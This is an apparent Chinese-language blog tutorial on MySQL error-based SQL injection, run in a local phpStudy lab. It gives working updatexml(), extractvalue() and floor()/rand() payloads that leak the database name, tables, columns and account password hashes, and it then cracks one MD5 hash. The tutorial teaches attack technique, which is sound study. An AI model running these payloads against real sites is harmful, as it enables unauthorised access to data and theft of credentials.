【SQL注入03】报错注入实例操作

1 报错注入概述

  1. 定义:与union联合查询注入类似,报错注入是利用网站的报错信息来带出我们想要的信息。
  2. 使用优先级:考虑到成功率和时间成本比union成本高,因此该方法在uninon无法实施时再做尝试。
    1. union联合查询注入实施的条件是网页能回显我们第二条select语句的内容;
    2. 报错注入实施的条件的网页能回显执行语句出错时的错误信息。

2 常用的报错注入命令

2.1 测试平台

  1. 虚拟机中打开phpstudy环境,真实机输入“虚拟机IP+/phpMyAdmin/”打开数据库管理界面,输入默认账号密码root进行登录。
  2. 顺便进入一个数据库,来到SQL语句界面,将下面两个√上,然后按下图顺序测试下面的命令。
    【SQL注入03】报错注入实例操作_第1张图片

2.2 floor()+rand()+group()函数

输入命令报错并带回版本信息select * from messages where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
【SQL注入03】报错注入实例操作_第2张图片

2.3 extractvalue()函数

输入命令报错并带回当前用户名。select * from messages where id=1 and (extractvalue(1, concat(0x5c, (select user()))))
【SQL注入03】报错注入实例操作_第3张图片

2.4 updatexml()函数☆☆推荐使用☆☆

输入命令报错并带回当前用户名。select * from messages where id = 1 AND (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
【SQL注入03】报错注入实例操作_第4张图片

2.5 测试失败的命令

以下这些命令测试失败了,不知道后续能不能抢救以下,先记录下来。

select * from messages where id=1 and geometrycollection((select * from(select * from(select user())a)b));
select * from messages where id=1 and multipoint((select * from(select * from(select user())a)b));
select * from messages where id=1 and polygon((select * from(select * from(select user())a)b));
select * from messages where id=1 and multipolygon((select * from(select * from(select user())a)b));
select * from messages where id=1 and linestring((select * from(select * from(select user())a)b));
select * from messages where id=1 and multilinestring((select * from(select * from(select user())a)b));
select * from messages where id=1 and exp(~(select * from(select user())a));

3 获取敏感信息

3.1 获取数据库名

与上一节union查询类似,使用命令让报错信息显示出站点所在数据库名。select * from messages where id = 1 AND (updatexml(1,concat(0x7e,(select database()),0x7e),1))
【SQL注入03】报错注入实例操作_第5张图片

3.2 获取表名

与上一节union查询类似,使用命令让报错信息显示出站点所在数据库名下所有表名。select * from messages where id = 1 AND (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1))
【SQL注入03】报错注入实例操作_第6张图片

3.3 获取字段名

  1. 与上一节union查询类似,使用命令让报错信息显示出站点所在users表名下所有字段名。select * from messages where id = 1 AND (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),0x7e),1))。出乎意料的是最后一个字段名少了几个字母,同时结尾也不是~。
    【SQL注入03】报错注入实例操作_第7张图片
  2. 我们将上述命令的标志符号更换为两个#,输出结果依旧在结尾是异常的,真正的字段名应该是signature,暂时未找到原因。select * from messages where id = 1 AND (updatexml(1,concat('##',(select group_concat(column_name) from information_schema.columns where table_name = 'users'),'##'),1))
    【SQL注入03】报错注入实例操作_第8张图片
    【SQL注入03】报错注入实例操作_第9张图片
  3. 当我们尝试让错误回显信息不带有起止标志符时,输入命令select * from messages where id = 1 AND (updatexml(1,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),1))。回显结果少了一个字段名。与第2步对比可知完整的字段名内容。
    【SQL注入03】报错注入实例操作_第10张图片

3.4 获取字段内容

  1. 与上一节union查询类似,使用命令让报错信息显示users表上账号与密码的字段内容。select * from messages where id = 1 AND (updatexml(1,concat(0x7e,(select concat(name,':',password) from users limit 0,1),0x7e),1)),显示结果如下,可以看到与查询字段名相同,结尾少了结束符。
    【SQL注入03】报错注入实例操作_第11张图片
  2. 去掉结束符试试,再次输入命令select * from messages where id = 1 AND (updatexml(1,(select concat(name,':',password) from users limit 0,1),1))。与查询字段名相同,取消起止标识符后,回显信息少了开头部分的。
    【SQL注入03】报错注入实例操作_第12张图片
  3. 结合第1、2步,猜测账号为a,加密后的密码是0cc175b9c0f1b6a831c399e269772661,在md5网站查询后该密文对应的名为是a。
    【SQL注入03】报错注入实例操作_第13张图片

4 总结

  1. SQL注入优先级:union注入>报错注入>布尔盲注>延迟注入;
  2. 了解报错注入常用的几个命令;
  3. 掌握使用updataxml()函数进行报错注入;
  4. updataxml()对仅能获取返回32位字符,对于长字符串需要分批次获取。

你可能感兴趣的:(#,筑基07:WEB漏洞原理,sql,数据库,database)